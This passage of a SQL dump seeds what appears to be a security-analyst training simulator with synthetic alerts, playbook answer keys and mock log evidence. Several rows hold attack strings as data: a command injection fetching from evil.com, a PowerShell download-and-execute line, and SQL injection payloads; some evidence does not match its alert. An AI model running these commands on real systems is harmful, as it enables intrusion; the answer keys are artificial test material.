(633, 'False Positive: Suspicious Domain Access', 'low', 'SIEM', 'Access to a domain flagged as suspicious, but further analysis shows no malicious activity.', 'Web Request', 'T1071', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T17:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"\",\"hostname\":\"CORP-WORKSTATION4\",\"domain\":\"safedomain.com\"}', '2026-01-11 09:50:46', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"safedomain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Domain is clean and not associated with any known threats\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The domain access was incorrectly flagged as suspicious; no malicious activity was found.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.274Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION4\\\",\\\"domain\\\":\\\"safedomain.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.274Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION4\\\",\\\"domain\\\":\\\"safedomain.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.274Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION4\\\",\\\"domain\\\":\\\"safedomain.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.274Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION4\\\",\\\"domain\\\":\\\"safedomain.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.274Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION4\\\",\\\"domain\\\":\\\"safedomain.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(634, 'Command Injection Attempt Detected', 'critical', 'IDS', 'A command injection attempt was detected targeting a web application.', 'Web Attack', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T18:10:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"10.0.0.10\",\"hostname\":\"WEB-APP1\",\"request_body\":\"id; wget http://evil.com/malware.sh\"}', '2026-01-11 00:35:15', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple command injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"id; wget http://evil.com/malware.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"harden_web_server\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request contains a command injection payload, confirming this as a true positive.\"}', 'Novice', 'MAL', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.275Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T18:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"hostname\\\":\\\"WEB-APP1\\\",\\\"request_body\\\":\\\"id; wget http://evil.com/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.275Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T18:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"hostname\\\":\\\"WEB-APP1\\\",\\\"request_body\\\":\\\"id; wget http://evil.com/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.275Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T18:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"hostname\\\":\\\"WEB-APP1\\\",\\\"request_body\\\":\\\"id; wget http://evil.com/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.275Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T18:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"hostname\\\":\\\"WEB-APP1\\\",\\\"request_body\\\":\\\"id; wget http://evil.com/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.275Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T18:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"hostname\\\":\\\"WEB-APP1\\\",\\\"request_body\\\":\\\"id; wget http://evil.com/malware.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(635, 'Outbound Connection to Known Malicious IP', 'high', 'Firewall', 'An outbound connection was detected to an IP address with known malicious activities.', 'Data Exfiltration', 'T1041', 1, 'investigating', 74, '{\"timestamp\":\"2026-01-11T19:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.21\",\"dst_ip\":\"203.0.113.99\",\"hostname\":\"CORP-WORKSTATION5\"}', '2026-01-11 11:18:33', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.21\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"monitor_traffic\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for data exfiltration, confirming this as a true positive.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(636, 'Malware Detected via IPS Signature', 'critical', 'IDS/IPS', 'A known malware signature was detected in network traffic.', 'Malware', 'T1105', 1, 'Closed', 65, '{\"timestamp\":\"2026-01-11T20:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.22\",\"dst_ip\":\"192.168.1.5\",\"hostname\":\"CORP-WORKSTATION6\",\"file_hash\":\"efgh5678abcd1234ijkl9012mnopqrst\"}', '2026-01-11 00:34:12', '2026-02-05 17:01:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"efgh5678abcd1234ijkl9012mnopqrst\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as malware by 70 antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash matches known malware signatures, confirming this as a true positive.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.278Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T20:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.22\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION6\\\",\\\"file_hash\\\":\\\"efgh5678abcd1234ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.278Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T20:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.22\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION6\\\",\\\"file_hash\\\":\\\"efgh5678abcd1234ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.278Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T20:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.22\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION6\\\",\\\"file_hash\\\":\\\"efgh5678abcd1234ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.278Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T20:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.22\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION6\\\",\\\"file_hash\\\":\\\"efgh5678abcd1234ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.278Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T20:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.22\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION6\\\",\\\"file_hash\\\":\\\"efgh5678abcd1234ijkl9012mnopqrst\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(637, 'Suspicious Process Execution Detected', 'high', 'CrowdStrike', 'A potentially malicious process was executed on host WIN-1234ABCD using PowerShell. The command appears to be attempting to download a file from a suspicious external IP.', 'Malware', 'T1059', 1, 'Closed', 126, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.77\",\"username\":\"jdoe\",\"hostname\":\"WIN-1234ABCD\",\"command_line\":\"powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 00:07:42', '2026-02-19 20:43:17', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to download and execute a malicious script\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1200 times for hosting malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified as malware\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command line execution clearly shows intent to download and execute a malicious script from a known bad IP.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(638, 'Brute Force Attack Detected', 'medium', 'Splunk', 'Multiple failed login attempts were detected from an external IP on the corporate VPN service, suggesting a brute force attack.', 'Brute Force', 'T1078', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"unknown\",\"hostname\":\"VPN-SERVER\",\"failed_attempts\":25}', '2026-01-11 08:27:41', '2026-02-22 14:43:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 450 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the VPN server.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from the same external IP indicates a brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.280Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.280Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.280Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.280Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.280Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(639, 'Phishing Email Detected', 'high', 'Proofpoint', 'A phishing email was received by user jsmith containing a suspicious link purportedly leading to a document download.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.85\",\"dst_ip\":\"192.168.1.15\",\"username\":\"jsmith\",\"hostname\":\"MAIL-SERVER\",\"email_sender\":\"no-reply@notarealcompany.com\",\"url\":\"http://malicious-link.com/download\"}', '2026-01-11 11:57:34', '2026-02-02 12:11:44', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@notarealcompany.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain not recognized as legitimate business.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known to host phishing content\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in phishing campaigns\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a known malicious URL used in phishing attacks.\"}', 'Beginner', 'NDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:22.282Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(640, 'SQL Injection Attempt Detected', 'critical', 'Web Application Firewall', 'An SQL injection attempt was detected targeting the login page of the corporate web application.', 'Web Attack', 'T1190', 1, 'Closed', 99, '{\"timestamp\":\"2026-01-11T11:20:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"192.168.1.20\",\"username\":\"n/a\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-10 09:57:55', '2026-02-16 17:06:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 600 times for SQL injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request payload is a classic SQL injection technique.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(641, 'Unauthorized Access Attempt on Admin Account', 'high', 'Wazuh', 'Multiple failed login attempts were detected on an admin account from a foreign IP address. This might indicate an attempt to gain unauthorized access.', 'Brute Force', 'T1078', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-11T07:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.112\",\"dst_ip\":\"10.0.0.10\",\"username\":\"admin\",\"hostname\":\"DC-SERVER\",\"failed_attempts\":30}', '2026-01-10 05:59:33', '2026-03-09 02:34:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.112\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted admin account.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The pattern of failed attempts suggests a brute force attack targeting admin credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.284Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.112\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-SERVER\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:31:22.284Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 